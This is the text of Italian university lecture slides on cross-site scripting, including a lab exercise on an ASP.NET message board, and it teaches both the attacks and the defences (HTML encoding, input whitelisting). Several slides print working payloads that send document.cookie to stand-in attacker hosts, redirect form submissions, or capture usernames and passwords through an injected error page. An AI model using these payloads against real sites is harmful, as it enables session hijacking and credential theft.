UNIVERSITÀ DI PERUGIA
DIPARTIMENTO DI MATEMATICA E INFORMATICA
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Cross Site Scripting
Prof. Stefano Bistarelli
Università “G. d’Annunzio”
Dipartimento di Scienze, Pescara
C
Consiglio Nazionale delle
Ricerche
Iit
Istituto di Informatica e Telematica - Pisa
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Cos'è il CSS?
Una tecnica che consente agli hacker di:
Eseguire script dannoso nel browser Web
di un client
Inserire tag <script>, <object>, <applet>,
<form> e <embed>
Rubare informazioni sulla sessione Web e cookie di
autenticazione
Accedere al computer client
Qualsiasi pagina Web che esegue il rendering HTML
e contenente input dell'utente è vulnerabile
S. Bistarelli - Metodologie di Secure
Programming
2
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
A.4: Principi di Cross-Site-Scripting
(XSS)
[7] utilizzo del token rubato per autenticarsi
al servizio
[1] Richiesta
Internet
Attacker
[2] Risposta
[3] Invio malicious code mascherato da
informativa della banca
[6]
DataBase
Web server
App. server
www.my-banca.it
Internet
[4] www.mybanca.it/VulnApp.jsp?e=<script
“malizioso”>
WebApp vulnerabile al
XSS
user
[6] Invio di token di
autenticazione
all’attaccante
[5] Risposta: pagina voluta
dall’attaccante eseguita sul browser
dell’utente
S. Bistarelli - Metodologie di Secure
Programming
3
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
A.4: Cross-Site-Scripting (2)
GET /welcome.cgi?name=<script>alert(document.cookie)</script>
HTTP/1.0
Host: www.my-banca.it
...
La risposta del sito vulnerabile sarà la seguente (interpretata sul
browser dell’utente ignaro):
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR> Welcome to our system
...
</HTML>
S. Bistarelli - Metodologie di Secure
Programming
4
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
A.4: Cross-Site-Scripting (3)
Il malicious link può essere:
http://www.mybanca.it/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi
?cookie=”%2Bdocument.cookie)</script>
La risposta del server sarà:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)
</script>
<BR>Welcome to our system
...
</HTML>
Redirezione del contenuto del cookie dell’utente ignaro verso il server dell’attaccante
S. Bistarelli - Metodologie di Secure
Programming
5
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Due impieghi comuni del CSS
Attaccare le piattaforme di posta elettronica
basate sul Web e i forum
Utilizzo dei tag <form> HTML per reindirizzare
informazioni private
S. Bistarelli - Metodologie di Secure
Programming
6
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Attacchi basati su form (1 di 2)
Response.Write("Welcome" &
Request.QueryString("UserName"))
S. Bistarelli - Metodologie di Secure
Programming
7
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Site soggetti a XSS/CSS
Vediamo l’esempio
http://localhost/CrossScripting/Login.aspx
S. Bistarelli - Metodologie di Secure
Programming
8
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Proviamo..
Iniettiamo codice e vediamo che succede
…
<script>alert(‘ciao’)</script>
<script>alert(document.cookie)</script>
Script eseguito sul mio browser …
Ma come faccio io attaccante che non sono su macchina del
client .. a prendermi il cookie??
…cerco il campo di input …
txtname
S. Bistarelli - Metodologie di Secure
Programming
9
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
E se chiamo la pagina cosi’?
http://localhost/CrossScripting/Login.aspx?txt
name=<script>alert('ciao')</script>
Funziona lo stesso!!
Quindi se mando link a Maria e lei clicca
esegue sul suo browser (credendo di andare
al suo sito) il mio script!!
S. Bistarelli - Metodologie di Secure
Programming
10
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Attacchi basati su form (1 di 2)
Response.Write("Welcome" &
Request.QueryString("UserName"))
S. Bistarelli - Metodologie di Secure
Programming
11
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
…
Ma come faccio io attaccante ad avere le info
sul mio sito e non sullo schermo di Maria??
S. Bistarelli - Metodologie di Secure
Programming
12
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Attacchi basati su form (2 di 2)
<a href=http://www.contoso.msft/welcome.asp?name=
<FORM action=http://www.
nwtraders.msft/data.asp
method=post id=“idForm”>
<INPUT name=“cookie” type=“hidden”>
</FORM>
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT> >
hereS. Bistarelli - Metodologie di Secure
</a>
Programming
13
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
<script>
window.onload = function()
{
document.forms[0].onsubmit = function ()
{
return Hack()
}
}
function Hack()
{
var action="http://localhost/Hack/Hack.asp";
document.forms[0].action=action;document.forms[0].method="GET";
return true;
}
</script>
S. Bistarelli - Metodologie di Secure
Programming
14
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
In generale …
Se ho input di questo tipo:
http://victim.com/search.php ? term = apple
search.php responds with:
<HTML> <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
...
</BODY> </HTML>
S. Bistarelli - Metodologie di Secure
Programming
15
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Posso usarlo cosi!!
http://victim.com/search.php ? term =
<script> window.open(
“http://badguy.com?cookie = ” +
document.cookie ) </script>
Se la mia vittima clicca su questo link?
Browser va a victim.com/search.php
Victim.com restituisce
<HTML> Results for <script> … </script>
Browser executes script:
Sends badguy.com cookie for victim.com
S. Bistarelli - Metodologie di Secure
Programming
16
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
So what?
Perche’ un utente dovrebbe cliccare su quel link?
Phishing email in webmail client (e.g. gmail).
Link in doubleclick banner ad
… many many ways to fool user into clicking
Vedi esempio mail poste.it!!
Cosa ci fa badguy.com con il cookie di victim.com ?
Puo’ essere usato per spacciarsi per quell’utente per
esempio!! (vedi lezione su cookies!!)
S. Bistarelli - Metodologie di Secure
Programming
17
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Even worse
Attacker can execute arbitrary scripts in browser
Can manipulate any DOM component on victim.com
Control links on page
Control form fields (e.g. password field) on this page and
linked pages.
Can infect other users: MySpace.com worm.
S. Bistarelli - Metodologie di Secure
Programming
18
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Difesa …
S. Bistarelli - Metodologie di Secure
Programming
19
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Avoiding XSS bugs (PHP)
Main problem:
Input checking is difficult --- many ways to inject scripts
into HTML.
Preprocess input from user before echoing it
PHP: htmlspecialchars(string)
& &
" "
'
'
< <
> >
htmlspecialchars(
"<a href='test'>Test</a>", ENT_QUOTES);
Outputs:
<a href='test'>Test</a>
S. Bistarelli - Metodologie di Secure
Programming
20
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Avoiding XSS bugs (ASP.NET)
ASP.NET 1.1:
Server.HtmlEncode(string)
Similar to PHP htmlspecialchars
validateRequest:
(on by default)
Crashes page if finds <script> in POST data.
Looks for hardcoded list of patterns.
Can be disabled:
<%@ Page validateRequest=“false" %>
S. Bistarelli - Metodologie di Secure
Programming
21
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
S. Bistarelli - Metodologie di Secure
Programming
22
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Esercizio lab
S. Bistarelli - Metodologie di Secure
Programming
23
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
esercizio
In this scenario, you have a web application
that supports both anonymous and
authenticated users, the latter of which are
authenticated using ASP.NET Forms logon.
The application is a message board which
allows any user to post a message that all
others can read.
S. Bistarelli - Metodologie di Secure
Programming
24
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Giochiamo con l’applicazione
2 utenti registrati (hard coded (no db))
Entriamo come alice e inviamo un messaggio
alice – password
bob – password
NO HTML
Ora entriamo come black hat (anonimo) e
vediamo se supporta XSS
Si!!
S. Bistarelli - Metodologie di Secure
Programming
25
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Postiamo questo codice!!
<h2>Wow, this site has a nasty XSS vulnerability!</h2>
<input type='button' value='Click me for a laugh!' onclick='changePersonality()'/>
<h2>I wonder if I can see your cookie with this script?</h2>
<input type='button' value='Click to see your cookie!' onclick='alert(document.cookie)'/>
<h2>Hey, would you post your cookie to my website please?</h2>
<input type='button' value='Click to POST your cookie!' onclick='alert("Just kidding, but keep in mind that
a real attacker would not ask before doing this!")'/>
<script>
function changePersonality() {
var image = document.images[0]
if (image.src.match('google')) {
// switch back to Fabrikam
image.src = 'art/Fabrikam.gif';
}
else {
// switch to Google
image.src = 'http://www.google.com/intl/en/images/logo.gif';
}
}
</script>
S. Bistarelli - Metodologie di Secure
Programming
26
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Ora immaginiamo ..
Che alice entri e veda il codice …
Alice non lo sa ma:
Attaccante ha controllo completo della pagina
(vedi come cambia immagine)
Attaccante puo’ rubare informazioni da alice (o
meglio per ora le visualizza e basta, ma potrebbe
facilmente reindirizzarle (ricordatevi esempi
precedenti)
Visualizza cookies
S. Bistarelli - Metodologie di Secure
Programming
27
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Difesa
Usare htmlencode su testo output!
text = Server.HtmlEncode(r.ReadToEnd());
Filtra input
// filter the input using a whitelist - look for what is good!
string pattern = @"^[-\s\w\d.,!@#%&?*()+=|{}[\]:;/^$\\""']*$";
if (!Regex.IsMatch(text, pattern, RegexOptions.Multiline)) {
string errorMessage = "Your post has one or more disallowed "
+ "characters (no HTML, please).";
Response.Redirect(@"~\error.aspx?msg=" +
Server.UrlEncode(errorMessage));
return;
}
Sembra tutto a posto ora??
E invece no chi sa perchè?
S. Bistarelli - Metodologie di Secure
Programming
28
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
XSS su error page
Error chiamata con un parametro di input!!
Proviamo a cambiare input!
“ciao a tutti” funziona!!
Posso modificare la pagina come voglio!!
Phishing attack!!
lab-css\CrossSiteScripting\before\XSSWeb\phishing_email.htm
Il link nella pagina porta alla pagina di errore opportunamente
modificata!!
http://localhost:4536/XSSWeb/phishing_email.htm
S. Bistarelli - Metodologie di Secure
Programming
29
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Ecco il messaggio per la pag di errore
var html = "Please log in. You will be automatically registered for a free gift!" +
"<script>" +
"var u, p;" +
"function myLogon() {" +
"u = document.getElementById('ctl00$LoginView1$Login1$UserName').value;" +
"p = document.getElementById('ctl00$LoginView1$Login1$Password').value;" +
"}" +
"function thanks() { " +
"var msg = 'Your gift will be shipped within 7 business days. Thanks again for your loyalty! " +
"Oh and by the way, I learned something about you today. " +
"Your user name is: ' %2B u %2B ' and your password is: ' %2B p;" +
"document.getElementById('ctl00_MainBody_message').innerText=msg;" +
"}" +
"document.getElementById('ctl00_lblFormTitle').lastChild.nodeValue='Loyalty Gift';" +
"document.getElementById('ctl00_lblPageTitle').lastChild.nodeValue='Loyalty Gift';" +
"document.getElementById('ctl00$LoginView1$Login1$LoginButton').onclick = myLogon;" +
"document.forms[0].action = 'javascript:thanks()';" +
"<\/script>";
S. Bistarelli - Metodologie di Secure
Programming
30
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Fix la pagina error!
Su error page
Htmlencode input
message.Text =
Server.HtmlEncode(Request.QueryString["msg"]);
Nota su web.config
<pages validateRequest="false"/> true
S. Bistarelli - Metodologie di Secure
Programming
31